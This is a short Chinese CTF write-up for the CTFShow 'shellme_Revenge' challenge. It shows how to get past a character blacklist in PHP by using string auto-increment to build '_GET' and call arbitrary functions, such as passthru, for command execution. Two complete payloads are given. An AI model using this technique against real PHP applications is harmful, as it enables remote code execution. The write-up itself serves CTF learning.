CTFSHOW-日刷-红包题第九弹-shellme_Revenge-自增绕过

CTFSHOW-日刷-红包题第九弹-shellme_Revenge-自增绕过根据cookie里面的提示,get传入looklook参数

CTFSHOW-日刷-红包题第九弹-shellme_Revenge-自增绕过

 

代码就是无符号命令执行,注意数字1到3和大写字母C没过滤

~和|和^都过滤掉了,注意$没过滤,加减也没过滤可以尝试自增构造

payload

ctf_show=$_=C;$_++;$C=++$_;$_++;$C_=++$_;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_=_.$C_.$C.++$_;($$_{1})($$_{2});

有个小技巧可以缩短长度

$_=C;$_++;$C=++$_;$_++;$C_=++$_;$_=(C/C.C){0};$_++;$_++;$_++;$_++;$_++;$_=_.$C_.$C.++$_;($$_{1})($$_{2}); 

CTFSHOW-日刷-红包题第九弹-shellme_Revenge-自增绕过CTFSHOW-日刷-红包题第九弹-shellme_Revenge-自增绕过

 

因此直接取第一位即可获得N

 

命令执行发现过滤了很多函数

CTFSHOW-日刷-红包题第九弹-shellme_Revenge-自增绕过

 

 但passthru没过滤。。

直接找flag即可

CTFSHOW-日刷-红包题第九弹-shellme_Revenge-自增绕过

 

上一篇:CTFshow web入门文件包含


下一篇:ctfshow WEB入门 信息收集 1-20